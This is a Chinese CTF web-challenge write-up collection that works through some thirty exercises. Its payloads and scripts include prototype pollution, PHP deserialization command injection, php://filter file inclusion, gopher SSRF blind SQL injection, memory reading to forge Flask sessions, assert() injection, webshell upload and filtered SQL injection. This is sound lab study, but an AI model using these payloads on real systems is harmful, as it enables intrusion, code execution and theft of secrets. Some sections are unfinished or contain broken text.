文章目录
- First:wife_wife
- Second ez_curl(未解决)
- Third ezbypass-cat
- Forth unseping
- Fivth file_include
- Sixth easyphp
- Seventh fileclude
- Eighth very_easy_sql(未补齐)
- Ninth catcat-new
- Tenth fileinclude
- Eleventh inget
- Twelfth SSRF Me
- Forteenth easyupload
- Fifteenth warmup(未完成)
- Sixteenth wzsc_文件上传
- Seventeenth------Thirtieth(一些简单的题目,值得记录的都记录了一下)
- Thirty-first 文件包含
- Thirty-second easy_web(未解决ssti)
- Thirty-three love_math(未完成)
- Thirty-forth web2
- Thirty-fivth upload1
- Thirty-sixth mfw
- Thirty-seventh lottery
- Thirty-eighteenth upload
- Thirty-ninth Web_php_include
- Fortieth simple_js(未完成)
- Fourty-first url
- Fourty-second fakebook
- Fourty-second filemanager
- Fourty-third Cat(未完成)
- Fourty-forth Web_php_unserialize
- Fourty-fifth easytornado
- Forty-sixth shrine(未完成)
First:wife_wife
wife_wife这道题是一个黑盒测试,自己打没有打通题目,看了WP看懂的
这里主要是js的原型链污染,利用的是类Object.assign进行的一个原型链污染
WP中的源码:
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})
整个题目可以知道,admin就能读取flag
所以只要我们注册的身份为admin即可
第一个第二个if还是比较好绕过,主要是第三个我们没有invite邀请码,故我们要想办法绕过一下
看到了后面那个Object.assign可以进行原型链污染,我们可以先普通身份注册,然后用"proto"去改变isAdmin属性为true
{“username”:“e”,“password”:“e”,“_proto_”:{“isAdmin”:true}}
let newUser = Object.assign({}, baseUser, user)这一步作用是将baseUser和user合并成一个新的newUser
会将isAdmin变为true并且绕过第三个if
第三个if绕过是因为没有传一个键名为isAdmin故直接绕过(即isAdmin为false)
总结: 以后看到json数据在body里面,直接猜测原型链污染,进行盲打构造
Second ez_curl(未解决)
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input'); //php://input是php为协议通过POST传入数据,赋值给左值$input
$headers = (array)json_decode($input)->headers; // 将传入的值给json解析一下,将其json数据的hearder转换为数组赋值给左值
for($i = 0; $i < count($headers); $i++){ //判断数组的长度,进行一次遍历
$offset = stripos($headers[$i], ':'); //stripos查找字符首次出现的位置
$key = substr($headers[$i], 0, $offset); //截取字串 offest为正向前截取多少个字符,为负向后截取多少个字符
$value = substr($headers[$i], $offset + 1); //截取key后面所有值,即offset+1后面所有的子串
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){ //如果key里面没有admin value里面没有true 即为假
die('try hard');
}
}
$params = (array)json_decode($input)->params; //将输入的转换为数组形势存储
$url .= http_build_query($params); //使用 http_build_query 函数将 $params 数组转换为 URL 查询字符串的格式,并将其追加到 $url 变量之后。
$url .= '&admin=false'; //在url后面拼接一个&admin=false
$ch = curl_init(); //初始化一个curl
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch); //将初始化的$ch存储在result中
echo $result;
try hard1
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){ //url头里面的 admin不能包含false必须为true
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
考点:
express的parameterLimit默认为1000
根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
Third ezbypass-cat
这题考了一个漏洞华夏 ERP之授权绕过漏洞
这里有关键字
payload:
总结:还是经验不足,没有做过渗透,了解的框架漏洞太少
Forth unseping
<?php
highlight_file(__FILE__);
class ease{
private $method;//ping
private $args;//shell
function __construct($method, $args) {
$this->method = $method;
$this->args = $args; //
}
function __destruct(){ //对象被释放时调用
if (in_array($this->method, array("ping"))) {// this->method[0] = ping 检测数组里面是否有 ping
call_user_func_array(array($this, $this->method), $this->args); //回调函数,args为数组的形式返回,将$this->method做为参数返回给ping函数
}
} //执行ping函数
function ping($ip){
exec($ip, $result); //exec是一个拿shell函数
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { //pat_array为搜索到正则表达式里面特殊字符的次数
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){ //自动调用
foreach($this->args as $k => $v) { //在每次循环迭代中,将当前元素的键赋值给变量 $k,将当前元素的值赋值给变量 $v。
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
第一次poc脚本:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
这里的绕过l""s的原理是:
第一次出来的是 :
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}fl""ag_1s_here'));// ${IFS}在linux里面是分隔符的意思
$b = serialize($a);
echo $b;
echo base64_encode($b);
?>
我们知道了在flag_1s_here目录下的flag_831b69012c67b35f.php这个文件里面
执行下面任何三个命令都可以得到flag,但是怎么绕过过滤呢
cat flag_1s_here/flag_831b69012c67b35f.php
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php
八进制转换脚本:
str = 'cat flag_1s_here/flag_831b69012c67b35f.php'
for i in str:
print(oct(ord(i)).replace('0o','\\'),end='')
# ord函数是返回i的ASCII码值,oct将传入的整数按照8进制返回
#在python中八进制前缀为 0o,将0o转换为”\“
最后一个绕过的原理:
$(printf ‘\154\163’) \154 = l \163 = s 故执行ls
最后的poc脚本:
<?php
class ease{
private $method;//ping
private $args;//shell
function __construct($method, $args) {
$this->method = $method;
$this->args = $args; //
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo base64_encode($b);
?>
Fivth file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
在PHP中,include和file_get_contents是两个用于处理文件的函数,它们有以下区别: 功能不同:
1 include函数用于将指定文件的内容包含到当前文件中,并执行包含的文件中的PHP代码。
file_get_contents函数用于读取文件的内容,并将其作为字符串返回,不会执行文件中的PHP代码。 返回值:2.include函数返回布尔值(true或false),表示是否成功包含文件。
file_get_contents函数返回文件的内容作为字符串,如果读取失败则返回false。 用途不同:3.include函数通常用于包含和执行其他PHP文件,例如包含页面模板、函数库、配置文件等。
file_get_contents函数通常用于读取文件的内容,例如读取文本文件、JSON文件、XML文件等。 性能:4.include函数会将包含的文件整体加载到内存中,因此如果文件较大或包含多个文件,可能会占用较多的内存和执行时间。
file_get_contents函数只读取文件的内容,并将其作为字符串返回,相对于include函数性能更高效。综上所述,include函数适合用于包含和执行其他PHP文件,而file_get_contents函数适合用于读取文件的内容并进行处理。具体使用哪个函数,取决于你的需求和场景。
故用include读取文件返回必须用到伪协议
发现php://filter/read=convert.base64-encode/resource=check.php被过滤了
<?php if($_GET["filename"]){ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; if(eval($preg_match_username)) { die("do not hack!"); } }
convert.过滤器支持convert.iconv. 格式,使用方法:
convert.iconv.<input-encoding>.<output-encoding> 或
convert.iconv.<input-encoding>/<output-encoding>
例如:
convert.iconv.UCS-4*.UCS-4BE —> 将指定的文件从UCS-4*转换为UCS-4BE 输出
引用的文章
可以用两个转换过滤器string.* convert.iconv去绕过,但是string被过滤了,故我们就用convert.iconv去绕过
编码官网
下面的编码方式不完整:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64
然后用BP的intruder模块的Attack type模式的Cluster bomb模式进行爆破
最后的payload:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
考点:
通过用转换器进行绕过伪协议的关键字过滤
Sixth easyphp
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
第一if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)绕过:
这个直接科学计数法绕过
在本地调试科学计数法一直不行,后面才发现和版本有关系
第二个if(isset($b) && ‘8b184b’ === substr(md5($b),-6,6))绕过没有什么好的办法直接python脚本,这个脚本一会就跑出来了
import hashlib
target_string = '8b184b'
def md5_last5(string):
# 计算字符串的md5散列值
md5_hash = hashlib.md5(string.encode()).hexdigest()
# 截取最后5位字符
last_5 = md5_hash[-6:]
return last_5
for j in range(1,9999999999):
i = str(j)
print(md5_last5(i))
if(md5_last5(i)==target_string):
print(i)
break
接下来第三个if(is_array($c) && !is_numeric(@$c[“m”]) && $c[“m”] > 2022) 这里直接通过控制键值为"m"来进行判断就行比较简单,而is_numberic()可以直接用“123456a"进行一下绕过
第四个if(is_array(@$c[“n”]) && count($c[“n”]) == 2 && is_array($c[“n”][0]))这个count判断数组的长度,is_array判断c[n]第一个值是否为数组,相当于嵌套了一个数组,有点二维数组的感觉,比较容易绕过
最后一个判断:
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
这个代码的意思是首先在数组里面找出是否有"DGGJ",这个也是一种比较,foreach遍历如果有"DGGJ"就die()了这里矛盾
绕过原理:我们这里是利用了一个php语言的特性,当字符串和数字比较时,字符串会变成0,故如果我们把其c[n]下一个元素设置为0,DGGJ与0比较,DGGJ会变成0,0和0相等返回ture,故绕过,这个也是前面is_numberic函数绕过的原理
故最后的payload:
?a=1e7&b=53724&c={"m":"12345a","n":[[1,2],0]}
总结:在本地环境进行测试时,可能因为环境原因出现不太结果,多尝试一下可能有不一样的结果,总之多试试。
Seventh fileclude
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
这题一个很简单的php伪协议利用,但是我做了半天因为php://filter协议写错了
最后的payload:
?file2=php://input&file1=php://filter/read=convert.base64-encode/resource=flag.php
Eighth very_easy_sql(未补齐)
这题考的是一个sql注入和ssrf的gopher://伪协议混合使用
注意:
如果是POST请求,我们必须需要这些参数: POST Host Content-Type Content-length
而GET则不用
import base64
import datetime
import urllib.parse
import requests
import time
#cookie = "this_is_your_cookie=YWRtaW4nKSBhbmQgaWYoMSxzbGVlcCgxMCksMSkj"
#Cookie: {}
# host = "127.0.0.1:80"
# content = "uname=admin&passwd=admin"
# content_length = len(content)
# test =\
# """POST /index.php HTTP/1.1
# Host: {}
# User-Agent: curl/7.43.0
# Accept: */*
# Content-Type: application/x-www-form-urlencoded
# Content-Length: {}
#
# {}
# """.format(host,content_length,content)
# tmp = urllib.parse.quote(test)
# new = tmp.replace("%0A","%0D%0A")
# result = urllib.parse.quote(new)
# print("gopher://"+host+"/_"+result)
# def get_flag():
# flag = ""
# url = "http://61.147.171.105:59395/use.php?url="
# for i in range(1,60):
# for j in range(33,130):
# poc = "') union select 1,2,if(ascii(substr((select * from flag),{},1))={},sleep(2),1) #".format(i,j)
# temp = str(base64.b64encode(poc.encode("utf-8")),"utf-8")
# poc1 = "gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250ACookie%253A%2520this_is_your_cookie%253D"+temp+"%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A"
# now_time = time.time()
# url = url + poc1
# re = requests.get(url=url)
# end_time = time.time()
# t = end_time-now_time
# print(t)
# if t > 6:
# flag += chr(j)
# print(j)
# print(flag)
# get_flag()
总结:当进行sql注入时,应该先考虑是否有报错注入,bool盲注等等注入,再来考虑时间盲注,时间盲注受其他因素影响较大,时间注入可以用timeout,try,except来写
Ninth catcat-new
这题进去首先是几只猫猫,我们点击了其中一只,发现参数file很有特点,猜测是不是任意文件读取,进行目录穿越,最后在?file=…/…/etc/passwd这个路径下回显了
下一步是读取网站源码。在info界面抓个包,发现服务器是python。既然是python,当前进程肯定是由python xxx.py启动的,只要能知道当时的命令是什么,就能获取xxx.py的名字,进而读取源码。linux确实有这么个文件,/proc/self/cmdline,用于获取当前启动进程的完整命令
最后在?file=…/…/proc/self/cmdline路径回显发现是app.py
然后再次进行目录穿越进行读源码的操作?file=…/app.py读到了源码
看大佬博客才知道,原来这个是python的byte形式
可以直接使用bytes的decode()方法获取格式化的源码,如下:
a = b'abc\nabc'
print(a.decode())
用这种方法得到源码:
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-",
"") + "*abcdefgh" # SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag") # 这里读取flag后删掉了flag,防止之前任意文件读取出非预期解
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end)) # cat是上面引用进来的函数
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1: # session为admin就能得到flag,此处需要session伪造
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
在源码中发现还存在cat文件,再次读取cat.py
import os, sys, getopt
def cat(filename, start=0, end=0) -> bytes:
data = b''
try:
start = int(start)
end = int(end)
except:
start = 0
end = 0
if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")
if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end - start)
else:
data = f.read()
else:
data = f.read()
f.close()
else:
data = ("File `%s` not exist or can not be read" % filename).encode()
return data
if __name__ == '__main__':
opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
fileName = ""
start = 0
end = 0
for opt_name, opt_value in opts:
if opt_name == '-h' or opt_name == '--help':
print("[*] Help")
print("-f --file File name")
print("-s --start Start position")
print("-e --end End position")
print("[*] Example of reading /etc/passwd")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
exit()
elif opt_name == '-f' or opt_name == '--file':
fileName = opt_value
elif opt_name == '-s' or opt_name == '--start':
start = opt_value
elif opt_name == '-e' or opt_name == '--end':
end = opt_value
if fileName != "":
print(cat(fileName, start, end))
else:
print("No file to read")
看了app.py的源码可知,我们伪造admin的身份需要SECRET_KEY值,这题比较重要的是在堆里面读取地址,而我们的这个路由下是可以读取文件的,三个参数都可控filename start end
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
用下面这个大佬的脚本直接读取flag
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:51817/"
# 此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
# Encode a Flask session cookie
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
# -------------------------------------------
# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
# 设置session中admin的值为1
data = "{'admin':1}"
# 伪造session
headers = {
"Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
print((FSCM.encode(s_key,data)))
except:
print("Something error")
总结:这题session伪造不知道一直/admin路由伪造不成功很奇怪,在内存中读key的原理还不是特别理解
Tenth fileinclude
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
这题通过cookie传一个lauguage的值用php://filter伪协议直接读取flag就行
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
Eleventh inget
这题是一个盲打的题目很抽象,是考了一个简单的sql注入,万能注入公式绕过
别入写的详细WP
这里在后端相当于是有一个’‘单引号闭合,然后我写入’ or ‘1=1就相当于变成了id=’ or '1=1’变成了一个万能公式绕过
’ or '1=1
Twelfth SSRF Me
这个unicode-utf编码网站找了好久,这个也叫url编码绕过
SSRF题目做的比较少,之气做了一个结合ssrf进行的一个sql注攻击,这里名字也叫ssrf,刚刚拿到这个道题目的时候我直接上来用gopher://伪协议,然后开始写脚本,突然发现一个问题,url也是post请求,但是content-length长度又跟url传参有关,所以脚本一直没写好,修改了很多次,还是知道的东西太少对ssrf
对SSRF与伪协议的初步总结:
1.file://伪协议,我们运用这个协议和ssrf相结合,可以对文件进行读取 file:///etc/passwd file:///flag.php
2.dict://协议
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
dict://127.0.0.1:6379 //探测redis是否存活
dict://127.0.0.1:6379/info //探测端口应用信息
3.gopher://协议
个人认为这个gopher协议相当与在发了一次请求包,发给危险函数,然后危险函数通过发的请求报,访问目标站点,然后可以进入内网
gopher在SSRF中的作用
SSRF对过滤的绕过:
<?php //进制转换脚本
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>在这里插入代码片
总结:个人感觉SSRF很多时候都是配合很多考点一起考比如sql注入,反序列化等等
Forteenth easyupload
这题一个有四个地方需要绕过
- 检测文件是否包含有php的字样
- 检测后缀是否有ph和htaccess
- 检测文件头部信息
- 检测MIME头部信息
绕过方法为:
1.我们可以使用短标签名或者大小写绕过
2.我们可以使用.user.ini文件来进行对文件上传重定向,把上传的指定文件包含在所有php文件中
auto_prepend_file=a.jpg
3.检测头部信息我们直接在头部添加一个
GIF89a
4.MIME我们可以通过BP抓包来进行修改绕过
注意点: 我们上传指定文件图片时(图片马),我们可以通过F12查看传到那个文件里面了
文件上传
Fifteenth warmup(未完成)
这题有附件,代码审计
这题考察的是一个反序列化结合sql注入,
Sixteenth wzsc_文件上传
条件竞争
WP
Seventeenth------Thirtieth(一些简单的题目,值得记录的都记录了一下)
command_execution
payload:
127.0.0.1 && find / -name “flag*”
127.0.0.1 &&cat /home/flag.txt
PHP2
这题先用扫描器扫描网站目录,扫出来一个index.php的文件,但是当我们url+/index.php时又没有源码回显,用index.phps去试试,发现成功, index.phps=index.php+source
因为浏览器本身会进行因此url解码
php_rce(未完成)
Thirty-first 文件包含
这题和我们第五题很像,基本是一样的,所有我们直接用同样的思路直接一下就可以过了,我们直接看第5题的WP即可
Thirty-second easy_web(未解决ssti)
Thirty-three love_math(未完成)
Thirty-forth web2
这题考的一个源码分析,挺简单的一个题目
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);//反转
echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1); // 一个一个的截取字符
$__=ord($_c)+1; // 将其转化为ascii并加1
$_c=chr($__); // 将ascii其转化为字符
$_=$_.$_c; // 将原来
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
?>
直接把一步一步逆向过来就行,很简单
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$answer = str_rot13($miwen);
$ans1 = strrev($answer);
$ans2 = base64_decode($ans1);
for($_a = 0 ; $_a<strlen($ans2);$_a++)
{
$ans3 = substr($ans2,$_a,1);
$ans4 = ord($ans3)-1;
$ans5 = chr($ans4);
$final_ans = $final_ans.$ans5;
}
var_dump(strrev($final_ans));
Thirty-fivth upload1
这题直接上传一个含有一句话木马的图片然后BP抓包修改后缀即可上传成功,然后直接用中国蚁剑连接找到flag.php文件即可
Thirty-sixth mfw
这题也比较简单,考了一个git源码泄露,下载出来源码和一系列目录,然后我们根据源码分析进行了命令拼接得到了shell
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); //利用这里构造poc
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
assert(“strpos(‘$file’, ‘…’) === false”) or die(“Detected hacking attempt!”); //利用这里构造poc
这里可以进行poc构造,有点像sql注入原理
payload: pwn’) or system(‘cat templates/flag.php’);// 成功注入
Thirty-seventh lottery
git泄露下载源码
function buy($req){
require_registered();
require_min_money(2); // $money == 1
$money = $_SESSION['money']; //money
$numbers = $req['numbers']; // req 数组的键值number的
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){//绕过这
if($numbers[$i] == $win_numbers[$i]){
$same_count++; // samecout的个数决定下面的case
}
}
switch ($same_count) { ///7
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
这题的关键点在这段代码
想要买flag只要通过这里加钱
if($numbers[$i] ==
w
i
n
n
u
m
b
e
r
s
[
win_numbers[
winnumbers[i]) 这里是关键 == 弱比较绕过
原理:
<?php
var_dump((true==5)); ===> true
var_dump((true==0)); ===> false
var_dump((true=="11")); ===> true
var_dump((5=="12")); ===> false
var_dump((0=="DSADAS")); ===> true
var_dump((0=="1200000")); ===>false
var_dump((0=="A")); ===>true
?>
用这样的payload绕过
{"action":"buy",
"numbers":[true,true,true,true,true,true,true]}
Thirty-eighteenth upload
这题名字upload有点误导人,这题其实是一个sql注入,文件头名字注入,设置了文件后缀白名单
payload:
s'+(selselectect CONV(substr(hex(dAtaBaSe()),1,12),16,10))+'.jpg 131277325825392 web_up
s'+(selselectect CONV(substr(hex(dAtaBaSe()),13,12),16,10))+'.jpg load
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg 114784820031327 hello_
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg 112615676665705 flag_i
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg 126853610566245 s_here
s'+(selselectect+CONV(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg 115858377367398 i_am_f
s'+(selselectect+CONV(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg 7102823 lag
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg 36427215695199 !!_@m_
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg 92806431727430 Th.e_F
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg 560750951 !lag
拼接flag即可 cyberpeace{!!_@mTh.e_F!lag}
进制转化脚本:
decimal_number = int(input("请输入一个大的十进制数: "))
hex_number = hex(decimal_number)
hex_string = hex_number[2:] # 去除前缀 "0x"
byte_array = bytes.fromhex(hex_string)
string = byte_array.decode()
print("转换后的十六进制数为:", hex_string)
print("转换后的字符串为:", string)
解析:
CONV(string,from_base,to_base)函数是将字符串string转化进制,由from_base,和to_base决定转化,用这个函数是因为题目对字母回显做了限定,故用CONV进行规避字母回显
